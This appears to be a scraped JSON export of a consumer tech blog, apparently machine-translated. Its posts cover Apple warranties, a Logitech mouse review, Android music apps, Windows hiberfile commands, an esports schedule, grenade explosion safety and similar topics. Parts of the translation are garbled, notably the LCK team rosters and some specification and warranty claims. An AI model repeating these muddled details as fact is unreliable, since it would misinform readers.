case of warranty, then after Repairs and Service Coverage: It will be the warranty expiration date. As shown below, the machine is warranted until July 8, 2015. The AppleCare machine is purchased with an additional line of Covered by the AppleCare Protection Plan . I will talk about AppleCare later in this article.\n  \nHow is the warranty If you have passed the warranty period, what should be considered next will be warranted. There is a specific warranty, not a failure, and it is a warranty for you. Below is a summary of the points noted in the General Warranty Policy for Apple computers, please refer to: Futureworld .\n- The serial number must be intact, with no signs of scraping, erasing or tearing.\n- The LCD screen of the machine with a dot score of 05 points or more will be covered for warranty.\n- Denial of warranty: The machine has strange signs or water inlet.\n- Denial of warranty : Machine due to collisions or crashing, batches, distortion, deformation, scratches, damp spots, rust.\n- Denial of warranty : The product has been automatically dismantled by the customer or authorized by Apple-authorized organizations and individuals.\n- Denial of warranty : The case of the keyboard is broken, broken, broken, broken.\nApple warranty centers in Vietnam According to the official announcement on Apple's website, there are 3 authorized Apple service centers in Vietnam: Khai Thien - KTC; Futureworld and iCenter. If your device has warranty period, it will always be free warranty.\nAppleCare Protection Plan AppleCare is an extended warranty package for Apple devices in general, encapsulated in this article is an extended warranty package for Apple computers. This extension package has a term of 3 years, ie beyond 1 year of default warranty, the warranty period will be 3 years more. You should wait until the end of the 1 year period and then purchase the AppleCare as the most convenient one. Depending on the type of device that AppleCare has different prices, you can refer here .\nncG1vNJzZmismaXArq3KnmWcp51kxKK%2B0ZqlrbFdo7y1sdJmrqGdnmKvtsXIp55mmZ5ivK2wjJqnqaSVYrCwuc%2Buq56q\n","link":"/post/warranty-notes-when-buying-an-old-apple-computer/","section":"post","tags":null,"title":"Warranty notes when buying an old Apple computer"},{"body":"Logitech MX Anywhere 2S is a great travel mouse, offering great ergonomics in a compact form factor. It won't surprise you with features or customization, but the battery life of this device is very proud. Add to that the option to connect multiple devices, cross-platform compatibility, making Logitech MX Anywhere 2S a great mouse for professionals and business people on the go.\nTechnical data Product name: Logitech MX Anywhere 2S Mouse Price: $ 78.99 Weight: 0.2 kg Dimensions: 3.4 x 6 x 10cm Port: microUSB (for charging) Platform: Windows / macOS Warranty: 1-year limited hardware warranty Design Logitech MX Anywhere 2S: Compact and sleek Logitech MX Anywhere 2S Logitech has consistent aesthetics across its MX and MX Anywhere 2S series of products. The mouse has a typical layout with left and right buttons, and a mouse wheel in the middle. In addition, Logitech includes a square button behind the mouse wheel, as well as two forward and back buttons on the side of the thumb.\nThe top of the mouse is covered in a rubber-covered plastic. The sides are made of smooth plastic.\nThe micro USB charging port, instead of being located at the bottom of the device or at the back, is located on the front of the mouse, meaning the mouse can still be used while charging.\nHowever, there is no place to store the attached Bluetooth receiver.\nThere is no place to store the attached Bluetooth receiver Setup process: Simple and straightforward Installing the mouse is very simple, just plug in the Bluetooth receiver and turn on the mouse. Logitech MX Anywhere 2S has no problem connecting to both Windows and macOS. Other edits can be made in the settings of the respective operating system and the option to customize the mouse with Logitech Options.\nInstalling the mouse is very simple Wireless connection: Effective and fast Logitech MX Anywhere 2S has Bluetooth Low Energy technology as well as a dedicated Unifying receiver (2.4GHz) to connect to Windows and macOS computers. During more than 40 hours of testing on many devices, there was little difference between using the receiver and a simple Bluetooth connection.\nUsing a dedicated Unifying receiver, the mouse is capable of operating at distances of nearly 10m from the device on which the receiver is plugged in.\nLogitech MX Anywhere 2S has Bluetooth Low Energy technology as well as a dedicated Unifying receiver Performance: Too good for the basic job Logitech doesn't market Anywhere 2S in terms of gaming mice or high-performance mice, but it's certainly inspired by Logitech high-end mice. It has a Dots Per Inch (mouse sensitivity measure) ranging from 200 DPI to 4000 DPI, which can be set with Logitech Options software in 50 DPI increments.\nMice work well on many surfaces (except glass with scratches in the test). No lag occurs regardless of connection medium and once set on the device, switching from one computer to another will not be a problem.\nLogitech estimates the battery life of the mouse can last for 70 days (using Bluetooth connectivity will cause more battery charge).\nAs expected of a compact travel mouse, Logitech MX Anywhere 2S feels comfortable in the hand.\nLogitech MX Anywhere 2S feels comfortable in the hand Software: Lots of customization possibilities Logitech has two programs that work with Logitech MX Anywhere 2S: Logitech Options and Logitech Flow .\nLogitech Options is available for both Windows and macOS computers. After downloading and installing, it gives full control over every button and function that the mouse provides.\nOn the other hand, Logitech Flow is hidden in Logitech Options, and only serves the purpose of providing file transfer to a computer. This compact program allows you to transfer things like PDFs, images and other documents from one computer to another, regardless of whether it's a Windows or macOS device.\nFor Logitech Flow to work, the program needs to be installed and set up on both devices. Once set up properly, the process of moving files is simple: Select the files to move and move the mouse to the side of the computer screen. As long as the devices are on the same network, files will be seamlessly transferred from one device to another (but sometimes there is a problem with large files).\nConclude Logitech MX Anywhere 2S is a compact wireless mouse that can fit in a pocket and work with multiple devices.\nAdvantages\nWorks smoothly on many devices Works on almost any surface Rechargeable battery Smooth roll Defect\nThere is no place to store the USB receiver Slightly expensive ncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZqSfnLa1scKhZKawXZa7usPHnqmeZWKoeqS7zKmYnKxdmbK0tcanZKKloKeytL%2FIr5xmmpGpwaa%2B2Gajop6V\n","link":"/post/compact-design-impressive-battery-life/","section":"post","tags":null,"title":"Compact design, impressive battery life"},{"body":"The dv4-5000, dv6-7000 and dv7-6000 models use Ivy Bridge chips and the g4-2000 is only equipped with Intel's Sandy Bridge chip.\nHP has just released a configuration for new generation Pavilion laptops including dv4-5000, dv6-7000, dv7-6000 and g4-2000. Rumors of some models such as dv4, dv6 and dv7 appeared on previous websites with a starting price of 940 USD.\n  HP has just announced the configuration for new Pavilion laptops. (Photo: Engadget).\nThe above Pavilion laptops all use Intel's latest Ivy Bridge processor except the g4 model. In particular, dv4 and dv6 use 2.3GHz Core i7-3610QM processor, GeForce GT630M graphics, Beats audio. Both models have 14 and 15.6-inch screen sizes with resolutions up to 1,366 x 768 pixels. The dv7 uses a 2.6GHz Core i7-3720QM processor, GeForce GT 650M graphics, a 17.3-inch screen with a resolution of 1,920 x 1,080 pixels.\nThe Pavilion g4-2000 allows users to choose one of two Sandy Bridge Core i3-2350M and i5-2450M processors. This product uses a 14-inch screen. The G4-2000 model can be sold for about 630 USD.\nThe new laptop is expected to be released in April this year.\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqRqbawuoyfpqtlnprEbrTPZqearpmhtrC6jKWYqayfpcA%3D\n","link":"/post/configuration-for-new-hp-pavilion-laptops/","section":"post","tags":null,"title":"Configuration for new HP Pavilion laptops"},{"body":"Yahoo has just released a new version of its Yahoo Messenger instant messaging application on the web with other unique features completely for the PC version. To use Yahoo Messenger on the web users only need an Internet-connected PC and a web browser without having to download and install. Compared to the old version of Yahoo Messenger on the web, the new version has a lot of improvements in both features and user interface.\n  Picture 1 of Discover the new version of Yahoo Messenger on the web  The application interface has been redesigned to resemble the Yahoo Messenger version on PC. The old version requires users to install Java to use it. This has been removed in the new version. The chat window is also redesigned exactly like Yahoo Messenger chat window on PC.\n Picture 2 of Discover the new version of Yahoo Messenger on the web  The basic features of Yahoo Messenger on the web are similar to the PC version. The version also fully supports the user's avatar display capabilities. Status messages are also more diverse than the old version and more like the PC version. Users are also free to create their own status lines for Yahoo Messenger on the web. The most unique feature in the web version is the ability to display tabbed chat (TAB). With this feature every chat window will be merged into a single window that is extremely convenient to move and does not occupy much space and accelerate application speed. This is a new feature that only appears in Yahoo Messenger for Windows Vista.\n Picture 3 of Discover the new version of Yahoo Messenger on the web  Screen to review old messages\nEach sentence in the Yahoo Messenger chat window on the web will now be displayed in a different color block that represents each person. Next to the block is the avatar avatar representing the character talking. This feature is quite similar to Microsoft's Windows Live Messenger.\nJust like Yahoo Messenger on a web-based PC now supports the ability to chat with Windows Live Messenger. Currently, the new version of Yahoo Messenger on the web is still in the testing process in certain countries. Readers can discover more features of the new version by trying the application at https://messenger.yahoo.com/ Hoang Dung\nncG1vNJzZmismaXArq3KnmWcp51ksaq%2FwqitnqpdqbWmec2ermaulafAqrvNZqafZamWtbC7jKacrKuVo7SmvoyopWasmJp6uLHBZ5imqA%3D%3D\n","link":"/post/discover-the-new-version-of-yahoo-messenger-on-the-web/","section":"post","tags":null,"title":"Discover the new version of Yahoo Messenger on the web"},{"body":"The game that simulates the disease of Corona virus, also known as Wuhan pneumonia, called Plague Inc: Evolved has been interested by many gamers recently because it will let players know of an epidemic like Vu pneumonia Han is contagious and dangerous.\nPlague Inc is currently available on platforms such as Android, iOS, Microsoft Windows, and Windows Phone. On PC, gamers will have to spend some money to buy on Steam, with iOS platform price will be lower and on Android it is free. However, with the download guide below you can download and install Plague Inc: Evolved on PC for free.\nLink to download Plague Inc on PC for free Download Plague Inc for iOS Download Plague Inc for Android Step 1: First to download Plague Inc free, you need to have an Android emulator on your computer, you can choose BlueStack, MEmu, NoxPlayer, LDplayer . Start the emulator and select Google Play Store .\n  Step 2: Find the keyword Plague Inc in the Google Play Store.\n  Click Plague Inc of Miniclip as shown below and select Install.\n  Enter Gamer ID and click Create to enter the game.\n  Then, create your plague name, follow the initial instructions on how to play Plague Inc. Then next create the disease you like.\n  Compared to the Plague Inc: Evolved version on Steam, the Plague Inc version on Android seems simpler but still full of options and features for players to create an epidemic of all sorts.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZKmkkZzCpnnIp5pmnaakubexw2adqKpdm7%2BmsYyopWaokw%3D%3D\n","link":"/post/evolved-for-free-on-pc/","section":"post","tags":null,"title":"Evolved for free on PC"},{"body":"Pictures of explosive grenades are quite familiar to us in war films. Let's learn about the structure of grenades and how dangerous it is to explode on ground and underwater?\nGrenades are another form of explosives. The name grenade comes from the word \"Pomegranate\", in French meaning pomegranate.\n  Structure of grenades Grenades have two main parts:\nFlammable materials: gunpowder, explosives to create explosions.Now people also use other materials such as materials to create fire, materials to create smoke, tear gas, poison gas, . to create many other types of grenades. Ignition system: detonator has the function of activating the internal material to explode.There are 2 main types of detonators: timer detonator and contact and impact detonator. On land and underwater, where is more dangerous to humans if there are explosive grenades?   If the grenade explodes on land When explosive grenades, shell pieces, iron balls, metal pieces are stuffed inside, shock waves, . will fire around with tremendous speed and cause great damage within a radius of 5. meter. Therefore, if the grenade explodes on the ground, quickly find shelter, hidden corners, and shielding if you do not keep it in time, just head down towards the center of the explosion and reduce the damage to the lowest level. If there are ponds or lakes nearby, quickly jump down and hold your breath, when the grenade explodes.\n  If grenades explode under water In water, the resistance is higher than in the air, so the pieces of grenades or even warheads cannot go far. But it caused shock waves. If on the ground, this type of wave is easily dissipated in the air. In the water environment, shock waves easily spread at great speed with energy coming out around.\nThe boys in the video below have progressed into an interesting experiment to learn about the danger level of grenades when exploding underwater.\nA balloon contains both air and liquid that represents the lungs, blood and water of the human body. Therefore, to ensure safety, they replaced the human body with these balls when conducting experiments in swimming pools.\nWatching the video, we can see that no ball has been crushed but under the impact of shock waves they are deformed. If human organs are so horribly deformed, it will cause severe internal shock that can lead to death.\nSo if you are in the water with a grenade, try to swim as far as you can or get out of the water before it can explode.\nncG1vNJzZmismaXArq3KnmWcp51ksrm8y6iqoq6VYrSzsc2am56rXaS7brjAp5tmmZ6Zera6w56psJmkmr9uw8eeqZ5lmah6rrvRnmSdmZ6csrO71KxkraddncKurc2s\n","link":"/post/explosive-grenades-on-land-and-underwater-where-is-more-dangerous-to-humans/","section":"post","tags":null,"title":"Explosive grenades on land and underwater, where is more dangerous to humans?"},{"body":"LCK Spring 2019 (LOL Champions Korea) is currently a professional League tournament and the highest point at the moment. Currently the group round LCK Spring 2019 has officially started from January 16 to March 31.\nNext, the Play-off round takes place from April 3 to 10 LCK Spring 2019 will have a total of 12 consecutive weeks of competition for League of Legends fans. You can follow the details of the schedule LCK Spring 2019.\nInstructions to install League of Legends into drive D, E League of Legends: Top 4 useful but neglected equipment in the game How to picture League of Legends on Designcold Fixture schedule LCK Spring 2019 League of Legends   January January 16 15: SKT vs JAG 18h00: DWG vs GEN January 17 15:00: KT vs HLE 18:00: KZ vs GRF January 18 15:00: GEN vs SBG 18:00: AFS vs SKT January 19 15:00: DWG vs KT 18h00: GRF vs JAG January 20 15:00: KZ vs SBG 18:00: AFS vs HLE January 23 15:00: KT vs KZ 18:00: HLE vs GRF January 24 15:00: SBG vs SKT 18:00: GEN vs AFS Day 25 01h00: KT vs JAG 18h00: DWG vs GRF January 26 15:00: KZ vs AFS 18:00: SBG vs HLE January 27 15:00: SKT vs DWG 18:00: JAG vs GEN January 30 15:00: DWG vs SBG 18:00 : AFS vs JAG January 31 15:00: GRF vs SKT 18h00: GEN vs KT February February 1: 15:00: KZ vs DWG 18:00: JAG vs HLE February 2: 15:00: AFS vs KT 18:00: GRF vs SBG February 3: 15:00: KZ vs GEN 18:00: SKT vs HLE February 13: 15:00 HLE vs GEN 18:00: SKT vs KZ February 14: 15:00: DWG vs AFS 18:00: SBG vs JAG February 15: 15:00: GRF vs KT 18:00: HLE vs KZ February 16: 15:00: GEN vs SKT 18:00: JAG vs DWG February 17: 15:00: GRF vs AFS 18:00: SBG vs KT February 20: 15:00: GEN vs GRF 18h00: KT vs SKT February 21: 15:00: JAG vs KZ 18:00: AFS vs SBG February 22: 15:00: HLE vs DWG 18:00: KT vs GRF February 23: 15:00: SBG vs KZ 18h00: GEN vs JAG February 24: 15:00: DWG vs SKT 18:00: HLE vs AFS February 28: 15:00: SBG vs AFS 18:00: DWG vs JAG March March 1: 15:00: KZ vs HLE 18:00: SKT vs GEN March 2: 15:00: AFS vs DWG 18:00: JAG vs SBG March 3: 15:00: GEN vs HLE 18:00: KZ vs SKT March 7: 15:00: SBG vs DWG 18:00: JAG vs AFS March 8: 15:00: SKT vs GRF 18h00: KT vs GEN March 9: 15:00: HLE vs JAG 18h00: DWG vs KZ March 10: 15:00: KT vs AFS 18:00: SBG vs GRF March 14: 15:00: GRF vs GEN 18:00: SKT vs KT March 15: 15:00: KZ vs JAG 18:00: DWG vs HLE March 16: 15:00: AFS vs GRF 18:00: KT vs SBG March 17: 15:00: HLE vs SKT 18:00: GEN vs KZ March 21: 15:00: GRF vs HLE 18:00: KZ vs KT March 22: 15:00: AFS vs GEN 18:00: SKT vs SBG March 23: 15:00: JAG vs KT 18:00: GRF vs DWG March 24: 15:00: HLE vs SBG 18:00: AFS vs KZ March 28: 15:00: JAG vs SKT 18h00: GEN vs DWG March 29: 15:00: HLE vs KT 18:00: GRF vs KZ March 30: 15:00: SBG vs GEN 18:00: SKT vs AFS March 31: 15:00: JAG vs GRF 18:00: KT vs DWG Playoff schedule LCK Spring 2019 League of Legends   Wild Card ring (bo3)\nPlayoff 1 (bo5) Playoff 2 (bo5) Final (bo5)\nFixture Promotion round LCK Spring 2019 League of Legends Date Time Game Team 1 Team 2 September 18 15h00 Battle 1 MVP BtC 18h00 Battle 2 BBQ DWG September 20 15:00 Battle 3 (branch victory) BtC DWG (promotion) September 21 15:00 Battle 4 (losing branch) MVP BBQ (type ) September 22 15h00 Battle 5 (losing branch) BtC (promotion) MVP (type) List of teams attending LCK Spring 2019 League 1. Afreeca Freecs Player Position Upper Road Kiin / Brook Going Spirit / Dread Forest Road between Ucal / SUN Gunner Ssol / Aiming Support Jelly / Prao 2. Dam Won Gaming Nuguri Road Player Position Going Forest Punch / Canyon Road between ShowMaker Nuclear / Calm Gunner Support BeryL / Hoit 3. Gen.G Player Position Road CuVee / Roach Peanut Forest Path between Fly Gunner Ruler Support Life 4. Griffin Position Player Road on Sword Go to Forest Tarzan Midway between Chovy / Rather Gunner Viper Support Kabbie / Lehends 5. Hanwha Life Esports Location Player Road on SoHwan / Thal Go to Moojin / Bono Forest Road between Lava / Tempt Sangyoon Gunner Key Support 6. Jin Air GreenWings Player Position Lindarang Road / TaNa Malrang Forest Road between CheonGo / Grace Gunner Route / Stitch Nova / Kellin Support 7. KING-ZONE Location Road Players on Rascal Going Forest Cuzz Road between PawN Gunner Deft Support TusiN 8. KT Rolster Location Players Smeb Tracks Go Forest Score / UmTeams Between Bdd Gunner Gango Support SnowFlower 9. SANDBOX Gaming Location Road Players on Wizer / Summit Forest Walk Crush / OnFleek Road between Dove Ghost / Hollow Gunner Support Totoro / DoRaoN / joker 10. SK Telecom T1 Location Player Road on Khan / Crazy Go to forest Clid / Haru Midway Faker Gunner Teddy / Leo Support Mata / Effort Above is the League of Legends LCK Spring 2019, with the League of Legends on the above you will not miss any match in LCK Spring Season 2019.\nncG1vNJzZmismaXArq3KnmWcp51ks6rE066pnmWcmLhuv8%2BroKefXWd9coWMpZyan6WaerCyjKWcoJ2emcA%3D\n","link":"/post/fixture-lck-spring-2019-league-of-legends/","section":"post","tags":null,"title":"Fixture LCK Spring 2019 League of Legends"},{"body":"The way music is used on Android is almost unlimited and there are many music applications to choose from. This article will introduce you to the 16 best free music applications for Android.\nThe best free music download apps on Android Synthesis of the best music and music player apps on Android 1. Phonograph 2. Pulsar Music Player 3. Shuttle Music Player 4. Musixmatch 5. jetAudio Music Player 6. Musicolet Music Player 7. Poweramp 9. n7player Music Player 10. Rocket Player 11. Google Play Music 12. BlackPlayer Music Player 13. Pi Music Player 14. Music Player - MP3 Player, Audio Player 15. Apple Music 16. Amazon Music 1. Phonograph Phonograph uses Material Design style with beautiful interface. You can change the main color to personalize the application. There is no need to talk much about this application because it can do almost everything in a perfect way.\n  2. Pulsar Music Player This is a music application with a beautiful Material Design style, allowing you to browse music from folders, albums, genres or artists. The application is packed with all the necessary features, as well as some other features such as last.fm support built-in, automatically download album art, edit built-in tags, multiple themes and playlists minh.\n  The free version contains a lot of things users need to use, but for a small fee you can access the audio frequency equalizer, additional themes and a set of bass boosts and sound enhancements. .\n3. Shuttle Music Player   \nPerhaps this is the best looking music player app on Android, Shuttle has a great range of features like audio frequency equalizer, automatic album art download and lyrics. Shuttle also uses scorbling Last.fm, which helps you know which songs are the most listened to from time to time and tailor play lists to your liking. If you pay $ 1.75 for the paid version, you will have more themes, browse folders and even support Chromecast.\n4. Musixmatch   \nMusixmatch provides a slightly different music application. In addition to the elegant interface for listening to music, it also comes with FloatingLyrics widget, syncs lyrics with music and allows viewing lyrics while listening to songs on the default music player, Spotify, YouTube and Other music applications. You can even enter the lyrics into the widget and it will find the appropriate song on the device.\n5. jetAudio Music Player   \nThis is one of the best music apps on Android, mainly thanks to its fine tuning and powerful effects that can be added when listening to music. The plugin includes AM3D Audio Enhancer and Bongiovi DPS, enhancing audio processing in a way that audio enthusiasts will really appreciate. Paying $ 4.99 for the Plus version and you get a great deal of utilities, viewing options and more.\n6. Musicolet Music Player   Musicolet is a simple, light music player that allows you to experience a powerful equalizer. You can adjust the sound settings to suit your favorite music. In addition, Musicolet also allows you to set a sleep timer based on the time or number of songs you want to play.\nMusicolet Music Player does not support downloading music, but Musicolet Music Player supports users with many other useful features such as writing and editing lyrics for songs, directly transferring / copying songs, renaming songs directly in the application, setting the joystick mounted on the headset .\n7. Poweramp   \nPoweramp is one of the most popular music player apps for Android. Album art and lyrics can be integrated into the music player and it provides an impressive 10-band audio equalizer, which helps fine-tune the audio output. You can even save preset EQ values, allowing setting some parameters for specific headphones. The only downside is that Poweramp displays the folder names of songs and albums in the library while browsing, which makes it look messy.\n8. PlayerPro Music Player\nPlayerPro Music Player is also one of the popular music applications on Android. Like Poweramp, you can download lyrics and album art to display while playing music. In addition, the application also has different interfaces, themes and extensions to increase the user experience.\n  Song cards can be edited directly from the app, and it even supports scrobbling for websites like Last.fm that can sync music listening habits. PlayerPro comes with many options for lock screen utilities, quick access to the music player and smart playlist features.\n9. n7player Music Player   \nThis application provides a cloud tag to display artist names and songs on the screen with different sizes, depending on the level of your music player. The app has a beautiful appearance and comes with EQ with haptic feedback.\n10. Rocket Player   \nRocket Player is one of the premium music applications on Android. While the free version offers you a variety of basic options, the $ 2.99 pro version offers left / right balance control, preamp preamps and audio formats. other. A wide search option allows searching through tags, playlists, and musicians.\n11. Google Play Music   \nGoogle Play Music provides access to the huge online music catalog. You can play live if registered but the app can also play music stored in the smartphone library. Google Play Music syncs with your Google account, so you can access playlists and songs on multiple devices.\nGoogle Play Music also offers customized suggestions based on users' listening habits and music library that comes with the Material Design design interface.\n12. BlackPlayer Music Player   \nBlackPlayer Music Player is a customizable, smooth and versatile MP3 player with a minimalist design for users. You can adjust and organize playlists by tab by color, font, animation . then set the audio tuner to different categories.\nThe BlackPlayer player will track which artist you listen to or play a lot of albums, and then give you a page that starts off with the name Play Now with suggestions that you should play. BlackPlayer supports almost all audio editing features such as bassboost \u0026amp; 3D surround virtualizer, ID3 tag editor, Gapless playback support .\nSome key features of the BlackPlayer Music Player:\nSupport standard music formats like MP3, WAV, OGG, FLAC, M4A Balance set of 5 bands, BassBoost, audio amplifier and 3D Surround. You can also use an external equalizer to get the best sound quality. View \u0026amp; edit embedded songs, support synchronized .Irc files Manage HD album covers, automatically and manually ID3 tag editor, Song editing, Album, Artist \u0026amp; Genre Themes, fonts, colors and custom animations Support Android Auto and Wear OS (formerly Android Wear) 13. Pi Music Player   \nPi Music Player is a music player with many pretty interface, Material Design style and integrated with many music editing features. You can use the built-in audio editor to help you edit when listening to different types of music.\nIntuitive and attractive user interface, combined with a clear layout will give you the best music experience. In addition, Pi Music Player also supports Pi Power Share sharing feature, which helps you share music tracks, albums, playlist . safely between platforms. Especially when Pi Music Player also allows users to use any song as the default ringtone in seconds, sleep timer with the number or duration of the song.\nSome key features of Pi Music Player:\nIntegrate 5 set of equalizer with BassBoost, 3D Reverb, Virtualizer effects and 10 other audio settings Accurate ringtone cutting tool for all MP3 files Music sharing tool, music album, Pi Power music genre Share Integrated advanced folder view of all music files Swipe to change songs in the music screen User interface and media control with sleek, intuitive and beautifully designed Provide users with 3 beautiful themes including Gloss Theme, Light Theme and Dark Theme. 25 interesting wallpapers for Gloss themes can be purchased in the app 14. Music Player - MP3 Player, Audio Player   \nMusic Player, the most popular name in the world, if not fully searched, just like the name Music Player, this Android music player app gives users full of what to use to play music. With a great equalizer, support popular music formats and super cool interface, listen to music without wifi, browse all songs on your Android device .\nMain features of Music Player - MP3 Player, Audio Player:\nSupport most popular audio formats including MP3, MIDI, WAV, FLAC, AAC, APE . and play them with high quality. Powerful equalizer with bass boost, reverb effect . Automatically scan all audio files on the device, manage and share songs View all song titles, artists, albums, folders and playlists Lock screen controls and play in the notification bar Set the song as a ringtone in the offline music player Layout and style theme Widget supported in audio player. 15. Apple Music   \nFor iOS users, Apple Music is probably not too strange when this is the default music player on iOS devices. And recently Apple has released the first version of Apple Music for Android devices. Just like on an iOS device.\nApple Music interface on Android is no different than iOS device, besides listening to music, users can customize the sound through the Equalizer system, select available presets suitable for many music streams like Rock, Pop, Club , Jazz, Hip Hop . or manually change to suit the sound you want. Plus, you can adjust bass boost and surround sound.\nSome key features of Apple Music\nSave your music data to Apple Music, just download your favorite part to your smartphone Stream more than 50 million songs from the Apple Music catalog Create your own playlists or listen to Apple Music mixes created based on what you've heard Create a profile and follow friends to see the music they are listening to and see the list they have shared Watch exclusive content such as documentaries about your favorite artists, concerts and original television shows. Get personalized recommendations based on the music you have loved, updated daily. Listen to your favorite artists and DJs on Beats 1 directly or on demand 16. Amazon Music   \nLike the music players above, you can update and listen to great and new music on your Android phone or tablet, owning a simple interface with the ability to synchronize quickly through the data warehouse. Amazon data.\nIn addition, users can play music stored in the device, more, or download music in Amazon Cloud Drive (US only). In addition, the Amazon MP3 for Android application also provides music for users through the Amazon MP3 Store and Amazon Cloud Player (US only) or buy delightful music in the Amazon MP3 Store (US only) including 20 million songs and merchandise. million music albums in MP3 format.\nFeatures on Amazon Music that you can use:\nChoose the millions of favorite music tracks, thousands of playlists and radio channels, personalized recommendations Suggest new songs from the most famous artists today Download your favorite music, albums, and playlists to listen offline Become an Exclusive Prime member and start your 30-day free trial. Enter the song or Album from your iTunes collection into the Amazon Music app and listen anywhere. Play songs or albums that are being stored on your Android device, or download songs using the device's or SD card's memory and integrate them into your online streaming library. Above are some music playback applications for Android, based on the habit of listening to music and editing your music, please choose the most suitable application for your phone, tablet.\nSee more:\nSynthesize applications to write text on photos on the phone Instructions for unlocking Windows computers with fingerprints on Android phones The best password management software today 4 ways to run the software using administrative rights in Windows How to remove Add-ons (Extensions) on Chrome, Firefox and some other browsers ncG1vNJzZmismaXArq3KnmWcp51ks7OxxGakrquZmHqxuMCynKtlkaW9rbXCmquip55is7C%2BjJqlnaqfnrFuvMeopZ6r\n","link":"/post/free-music-player-application-for-android-phones/","section":"post","tags":null,"title":"Free music player application for Android phones"},{"body":"In the following tutorial, TipsMake.com guides readers how to delete call history on iPhone, Android phones easily and quickly.\n  1. Delete call history on iPhone Step 1: You open the Phone application (1) =\u0026gt; Recent (2) =\u0026gt; select All (3) =\u0026gt; Edit (4) .\n  Step 2: You touch the minus icon (-) (1) =\u0026gt; Delete (2) . So you have deleted any phone number in the call history successfully.\n  Step 3: If you want to quickly delete the entire call history, you touch the Delete button (1) =\u0026gt; Delete all recent calls (2) .\n  2. Delete call history on Android phones 2.1. On Samsung phones Step 1: You open the phone application up. Next, you touch the Recent (1) =\u0026gt; touch \u0026amp; hold the phone number to delete history (2) =\u0026gt; Delete (3) .\n  Step 2: If you want to delete the entire call history, you still do the same as on Recent (1) =\u0026gt; touch and hold on any phone number (2) =\u0026gt; touch All ( 3) =\u0026gt; Delete (4) .\n  2.2. On Xiaomi phones Step 1: You open the phone app =\u0026gt; go to Recent (1) =\u0026gt; touch and hold the phone number to delete history (2) =\u0026gt; Delete call history (3) .\n  Step 2: Next, tap Delete to proceed to delete the call history.\n  Step 3: If you want to delete the entire call history, you can still do the same by going to Recent =\u0026gt; touch and hold on any phone number in the list (2) =\u0026gt; Delete mass (3 ) .\n  Step 4: You touch the bullet icon (1) =\u0026gt; Delete (2) =\u0026gt; Delete (3) .\n  Through the above tutorial, readers can easily delete the call history on their device without any problems. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYycmKWkXZ22tMDOq7Bmp55itrG0zqecZpmemb%2BwtcNmp6GnnprA\n","link":"/post/how-to-delete-call-history-on-iphone-android-phones/","section":"post","tags":null,"title":"How to delete call history on iPhone, Android phones"},{"body":"Drawing photos in Photoshop is a very simple and quite basic job, but for those of you who are new to Photoshop, you may not know how to use it. In this article, TipsMake.com will guide you how to draw circles in Photoshop in a simple way, invite you to follow.\n  Step 1: To draw a circle, select the Ellipse Tool as shown below:\n  You can then choose the color of your graphics if you want:\n  Step 2: To draw a circle, hold down the Shift key then drag and drop to draw the circle:\n  And here is our circle:\n  Note that you have to hold Shift, the circle will be perfectly round, if not hold shift, it may be distorted into an ellipse:\n  So with just a few steps, we can draw images in Photoshop, it's very simple, isn't it, thank you for watching the article!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyilsRur8irmqWdo2K2r3nPoaatp6OdvLE%3D\n","link":"/post/how-to-draw-circles-in-photoshop/","section":"post","tags":null,"title":"How to draw circles in Photoshop"},{"body":"By default, the Hibernation or hiberfile file (C: hiberfil.sys) accounts for 75% of the total amount of RAM installed on Windows 10 computers. Fast startup requires Hibernate mode to be enabled. If you only want to use Fast startup and do not plan to use the Hibernate function, then you can specify the Hibernate type as Reduced to significantly reduce the file size of hibernation (hiberfil.sys), to about half the full capacity. its.\nWindows 10 has Hibernate mode enabled by default. This mode is the power saving state for battery-powered computers, such as laptops. Hibernation puts the entire current state of the PC in the hiberfile file and then shuts down the computer. Hibernate mode is slower than Sleep mode but consumes less power.\nTypes of Hibernate files There are 2 types of Hibernate files:\n1. Full: Full hiberfile can activate Hibernate mode and turn on Fast startup (hiberboot). It accounts for about 75% of the total amount of RAM available. The default size is 40% of physical memory. It supports Hibernate, Hybrid Sleep and Fast startup.\n2. Reduced: This type of hiberfile enables Fast startup (hiberboot) without activating Hibernate mode. This file type reduces the size of hiberfile (C: hiberfil.sys) to about 50% of its full size. This command removes Hibernate mode from the Power menu. The default capacity is 20% of physical memory. It supports Fast startup.\nThe way to specify the type of Hiberfile is Full or Reduced Open a Command Prompt with admin rights and do the following:\nTo specify Hiberfile Type as Full in Windows 10, copy and paste the following command into the Command Prompt and press Enter:\npowercfg /h /type full Specify Hiberfile Type as Full in Windows 10 To specify Hiberfile Type as Reduced in Windows 10, copy and paste the following command into the Command Prompt and press Enter:\npowercfg /h /type reduced Specify Hiberfile Type as Reduced in Windows 10 Note : If the hibernation file is set to a custom size greater than 40%, the command will return the error 'The parameter is incorrect' . First, you must set the size of the file to 0 with the command:\npowercfg /h /size 0 Then run the command again to set the hibernate file type to Reduced.\nOnce completed, you can exit the Command Prompt.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqugmrCqsthmmGagmZeys7LIpZxmrKmlsm6t0madrqScYryzedGem66blZl6qrqMsKCnnJ%2BswG59jw%3D%3D\n","link":"/post/how-to-specify-a-hiberfile-type-as-full-or-reduced-in-windows-10/","section":"post","tags":null,"title":"How to specify a Hiberfile type as Full or Reduced in Windows 10"},{"body":"A new decade has begun and over the past 10 years, the history of smartphones and technology in general has changed a lot.In the future, what technological advances will continue to drive the age of the wheel?How can smartphones change in the next 10 years?\nLet's take a look at some of the trends of the 2010s, and especially in 2019, we can estimate how these trends could develop by 2030, from foldable phones to USB ports and 6G.\nBut smartphones will naturally grow according to users' needs and these are the routes that the 'wheel' might imprint on.\nFolding phone\n Fold phones are indeed one of the most notable designs of 2019, with many devices like the Samsung Galaxy Fold and Motorola Razr 2019 coming, and they will become even more popular in the future.\nBecause by 2029, can we all own foldable phones?That depends on how phone companies.For now, foldable phones are largely considered to be brand advertising products and are still picky about the consumers, the phones most people will buy are still traditional straight phones.\nThis is largely due to the high price of the folding phone, and also because the software has not been developed to take full advantage of the design.\nSo, if the next few years are folding phones that are affordable and, more importantly, have many important functions, people will turn to them.10 years is a long time and it is possible that foldable phones will soon become affordable and useful, but that depends on whether people are willing to abandon conventional smartphone designs. I was 